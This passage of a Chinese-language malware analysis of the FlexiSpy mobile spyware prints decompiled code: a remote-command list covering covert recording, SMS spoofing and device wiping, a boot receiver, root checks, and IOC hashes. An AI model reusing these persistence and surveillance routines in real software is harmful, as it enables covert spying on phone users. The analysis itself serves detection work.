RemoteFunction.DEBUG_GET_APPLICATION_MODE = new RemoteFunction( "DEBUG_GET_APPLICATION_MODE" , 77);
RemoteFunction.DEBUG_RESTART_DEVICE = new RemoteFunction( "DEBUG_RESTART_DEVICE" , 78);
RemoteFunction.DEBUG_IS_APPENGIN_INIT_COMPLETE = new RemoteFunction( "DEBUG_IS_APPENGIN_INIT_COMPLETE" , 79);
RemoteFunction.DEBUG_PRODUCT_VERSION = new RemoteFunction( "DEBUG_PRODUCT_VERSION" , 80);
RemoteFunction.DEBUG_IS_CALLRECORDING_SUPPORTED = new RemoteFunction( "DEBUG_IS_CALLRECORDING_SUPPORTED" , 81);
RemoteFunction.DEBUG_IS_RESUME_ON_DEMAND_AMBIENT_RECORDING = new RemoteFunction( "DEBUG_IS_RESUME_ON_DEMAND_AMBIENT_RECORDING" , 82);
RemoteFunction.SET_MODE_ADDRESS_BOOK = new RemoteFunction( "SET_MODE_ADDRESS_BOOK" , 83);
RemoteFunction.SEND_ADDRESS_BOOK = new RemoteFunction( "SEND_ADDRESS_BOOK" , 84);
RemoteFunction.REQUEST_BATTERY_INFO = new RemoteFunction( "REQUEST_BATTERY_INFO" , 85);
RemoteFunction.REQUEST_MEDIA_HISTORICAL = new RemoteFunction( "REQUEST_MEDIA_HISTORICAL" , 86);
RemoteFunction.UPLOAD_ACTUAL_MEDIA = new RemoteFunction( "UPLOAD_ACTUAL_MEDIA" , 87);
RemoteFunction.DELETE_ACTUAL_MEDIA = new RemoteFunction( "DELETE_ACTUAL_MEDIA" , 88);
RemoteFunction.ON_DEMAND_AMBIENT_RECORD = new RemoteFunction( "ON_DEMAND_AMBIENT_RECORD" , 89);
RemoteFunction.ON_DEMAND_IMAGE_CAPTURE = new RemoteFunction( "ON_DEMAND_IMAGE_CAPTURE" , 90);
RemoteFunction.ENABLE_CALL_RECORDING = new RemoteFunction( "ENABLE_CALL_RECORDING" , 91);
RemoteFunction.SET_CALL_RECORDING_WATCH_FLAG = new RemoteFunction( "SET_CALL_RECORDING_WATCH_FLAG" , 92);
RemoteFunction.SET_CALL_RECORDING_AUDIO_SOURCE = new RemoteFunction( "SET_CALL_RECORDING_AUDIO_SOURCE" , 93);
RemoteFunction.ENABLE_COMMUNICATION_RESTRICTION = new RemoteFunction( "ENABLE_COMMUNICATION_RESTRICTION" , 94);
RemoteFunction.ENABLE_APP_PROFILE = new RemoteFunction( "ENABLE_APP_PROFILE" , 95);
RemoteFunction.ENABLE_URL_PROFILE = new RemoteFunction( "ENABLE_URL_PROFILE" , 96);
RemoteFunction.SPOOF_SMS = new RemoteFunction( "SPOOF_SMS" , 97);
RemoteFunction.SET_PANIC_MODE = new RemoteFunction( "SET_PANIC_MODE" , 98);
RemoteFunction.START_PANIC = new RemoteFunction( "START_PANIC" , 99);
RemoteFunction.STOP_PANIC = new RemoteFunction( "STOP_PANIC" , 100);
RemoteFunction.GET_PANIC_MODE = new RemoteFunction( "GET_PANIC_MODE" , 101);
RemoteFunction.PANIC_IMAGE_CAPTURE = new RemoteFunction( "PANIC_IMAGE_CAPTURE" , 102);
RemoteFunction.IS_PANIC_ACTIVE = new RemoteFunction( "IS_PANIC_ACTIVE" , 103);
RemoteFunction.ENABLE_ALERT = new RemoteFunction( "ENABLE_ALERT" , 104);
RemoteFunction.SET_LOCK_DEVICE = new RemoteFunction( "SET_LOCK_DEVICE" , 105);
RemoteFunction.SET_UNLOCK_DEVICE = new RemoteFunction( "SET_UNLOCK_DEVICE" , 106);
RemoteFunction.SET_WIPE = new RemoteFunction( "SET_WIPE" , 107);
RemoteFunction.SYNC_TEMPORAL_APPLICATION_CONTROL = new RemoteFunction( "SYNC_TEMPORAL_APPLICATION_CONTROL" , 108);
RemoteFunction.a = new RemoteFunction[]{RemoteFu
|
0x08 如果用户正在使用设备
监控软件监听各种intent表明用户在使用手机:如果屏幕解锁,设备开机等。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
label_65: // this is if NO sms is detected
if ((str_intentAction.equals( "android.intent.action.BOOT_COMPLETED" )) || (str_intentAction.equals( "android.intent.action.QUICKBOOT_POWERON" )) || (str_intentAction.equals( "com.htc.intent.action.QUICKBOOT_POWERON" ))) {
com.fx.daemon.b.m_relatedToShellCmds(o.m_getDataPath(arg6), "fx.log" );
StrictMode.setThreadPolicy(new StrictMode$ThreadPolicy$Builder().permitNetwork().build());
if (CommonReceiver.c()) {
return ;
}
if (!CommonReceiver.f_bool_maindZip()) {
return ;
}
AppStartUpHandler.a(dataPath, AppStartUpHandler$AppStartUpMethod.BOOT_COMPLETED);
ak.m_generatesSameObj(arg6);
ak.b(arg6);
return ;
}
|
第一个条件
在接收到intent后,我们看到if语句
1
2
3
|
if (CommonReceiver.b_returnTrueIfDebugMode()) {
return ;
}
|
代码只检查是否有DEBUG_IS_FULL_MODE,命令将发送给受害者设备。
第二个条件
第二个if语句如下。它执行另一个系列root检查和检查maind.zip文件是否存在。
1
2
3
4
5
6
7
8
9
10
11
12
13
|
if (!CommonReceiver.RootAndMainZipCheck()) { // if not rooted and a zip doesnt exist exit
return ;
}
F_bool_maindZip方法与位于 /assets/production/ 文件夹中的maind.zip有关。
private static boolean RootAndMainZipCheck() {
boolean returnVal = true ;
String str_maindZipPath = o.str_FilePathGetter(b.str_dataMiscAdn, "maind.zip" );
if ((ShellUtil.m_bool_MultipleRootcheck()) && (ShellUtil.m_ChecksForFIle(str_maindZipPath))) {
returnVal = false ;
}
return returnVal; // return true if rooted AND maind.zip is found
}
|
这个方法执行一系列root检查。它查看设备的Build Tags值是否存在test-keys,检查SuperUser.APK应用,su二进制的位置,环境路径检查和尝试调用一个shell。代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
public static boolean m_bool_Rootcheck() {
boolean bool_returnVal = false ;
if (ShellUtil.bool_debug) {
Log. v ( "ShellUtil" , "isDeviceRooted # START ..." );
}
String str_buildPropTags = Build.TAGS;
boolean str_TestKeys = str_buildPropTags == null || !str_buildPropTags.contains( "test-keys" ) ? false : true ;
if (ShellUtil.bool_debug) {
Log. v ( "ShellUtil" , "checkRootMethod1 # isDeviceRooted ? : " + str_TestKeys);
}
if ((str_TestKeys) || (ShellUtil.f_bool_checksForSUperSuAPK()) || (ShellUtil.m_bool_SuCheck()) || (ShellUtil.m_boolEnvPathCheck()) || (ShellUtil.m_boolTryToExecShell())) {
bool_returnVal = true ;
}
if (ShellUtil.bool_debug) {
Log. v ( "ShellUtil" , "isDeviceRooted # isDeviceRooted ? : " + bool_returnVal);
}
if (ShellUtil.bool_debug) {
Log. v ( "ShellUtil" , "isDeviceRooted # EXIT ..." );
}
return bool_returnVal
|
通过下面的方法执行maind.zip检查
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
public static boolean m_ChecksForFIle(String arg7) {
boolean b_returnVal = true ;
try {
c_RelatedToFxExecLib v2 = c_RelatedToFxExecLib.b();
String v3 = v2.a(String. format ( "%s \"%s\"" , "/system/bin/ls" , arg7));
v2.d();
if (v3.contains( "No such file or directory" )) {
return false ;
}
}
catch(CannotGetRootShellException v0_1) {
b_returnVal = new File(arg7).exists();
}
return b_returnVal;
|
回到reveiver
在第二个if语句后有如下的代码。
1
2
3
4
|
AppStartUpHandler.a(dataPath, AppStartUpHandler$AppStartUpMethod.BOOT_COMPLETED);
ak.m_generatesSameObj(arg6);
ak.startCoreService(arg6); // starts the "engine"
return ;
|
非常简单。Ak.startCoreService(arg6)方法只再次启动coreService。记住这是从文章开头的onCreate方法开始的。
0x09 下集预告
下一步,我将看下CoreService和其他的intent receiver com.vvt.callhandler.phonestate.OutgoingCallReceiver,其监听去电。
0x0A 新的IOCs
对于AV行业来说,在VirusTotal中可以查找到更多的IOC。
Sha1 文件名:
b1ea0ccf834e4916aee1d178a71aba869ac3b36e libfxexec.so This is actually in the 1.00.1 source hehe ;)
174b285867ae4f3450af59e1b63546a2d8ae0886 maind.zip
0x0B Jeb数据库文件
如果想就纠正任何错误,在这里。
传送门:全球知名移动间谍软件FlexiSpy的分析(part1)
全球知名移动间谍软件FlexiSpy的分析(part2)相关推荐
- 计算机取证工具常用工具,X-Ways Forensics,全球知名的计算机综合取证分析工具...
X-Ways Forensics,全球知名的计算机综合取证分析工具. X-Ways Forensics 20.0 SR-5(最新) X-Ways Forensics,全球知名的计算机综合取证分析工具, ...
- 以云为跳板,疑似中国黑客组织黑进全球知名IT服务公司
本文讲的是以云为跳板,疑似中国黑客组织黑进全球知名IT服务公司,攻击了至少14个国家的运营管理供应商(MSP)的黑客活动据称与"APT10"组织有关,而该组织一直被认为属于中国.事 ...
- 2014全球可穿戴设备产业链报告分析
可穿戴设备实际的市场情况 OFweek可穿戴设备网讯:近年来可穿戴设备一直是媒体跟厂商关注的重点智能产品,尽管有调查机构显示单凭腕带上的这种小玩意就能带来120亿美元的市场,但是市场却好像并非如愿,真 ...
- 2022版全球及中国单晶硅市场规模分析与竞争策略研究报告
2022版全球及中国单晶硅市场规模分析与竞争策略研究报告 <出版单位>:鸿晟信合研究院[专员客服对接] <修订日期>:2022年2月 <客服人员>:周文文 [具体数 ...
- 全球及中国再生锌市场前景分析与竞争策略研究报告2022版
全球及中国再生锌市场前景分析与竞争策略研究报告2022版 ------------------------------------- <出版单位>:鸿晟信合研究院[专员客服对接] < ...
- 全球及中国汽车后视镜行业供需分析与需求前景预测报告2022-2027年
全球及中国汽车后视镜行业供需分析与需求前景预测报告2022-2027年 [搜索鸿晟信合查看官网更多内容!] 2020年,全球汽车后视镜市场规模达到了 百万美元,预计2027年可以达到 百万美元,年复 ...
- 全球及中国豪华游轮行业投资策略分析及“十四五“发展规划建议报告2021-2027年版
2020年,全球豪华游轮市场规模达到了 百万美元,预计2027年可以达到 百万美元,年复合增长率(CAGR)为 % (2021-2027).中国市场规模增长快速,预计将由2020年的 百万美元增长到2 ...
- 2021年全球知名开源项目大更新
下面简单回顾 2021 年一些带来较大变化和影响的项目更新信息. PHP 8.1.0 正式发布 枚举,只读属性,First-class 可调用语法,新的初始化器,纯交集类型,Never 返回类型,Fi ...
- 文献管理与信息分析_全球酒店PMS行业市场现状分析,酒店信息管理全链条的灵魂...
一.PMS是酒店信息系统的核心 酒店信息系统中,PMS是酒店信息管理全链条的灵魂.除了前台管理.客户管理等核心板块,PMS还可以集成包含餐饮管理系统POS.财务管理系统AC.采购仓储控本系统PICC. ...
最新文章
- pandas将dataframe中的年、月、日数据列合并成完整日期字符串、并使用to_datetime将字符串格式转化为日期格式
- P5 Matlab/Simulink 在时域分析中的应用-《Matlab/Simulink与控制系统仿真》程序指令总结
- lwip协议栈中超时定时器实现原理
- C#控制台程序生成文件分析
- JS中进行字符串的相等比较时用==遇到的坑
- php mysql 星级评分_jQuery+PHP实现星级评分效果
- 数组转换为字符串方法
- 离散数学图论旅行规划问题_《图论及其应用》(一)
- 拯救不靠谱:他是怎样将技术外包做到纠纷率3%?
- JQuery 制作消息弹出框、按钮点击音效
- 树状数组--前n项和;
- 极好用的c++ http server和client库
- CRA对于IE9的兼容性设置
- OTL/OCL/BTL/甲类/乙类/甲乙类
- 计算机桌面任务栏为白色,电脑中锁定在任务栏的图标无法正常显示变成白色如何解决...
- 高阶组件HOC - 小试牛刀
- fastposter v2.6.0 发布 电商海报生成器
- Hdu 4503 湫湫系列故事——植树节
- elasticsearch 过期数据自动删除Java代码
- Ubuntu18.04人工智能环境搭建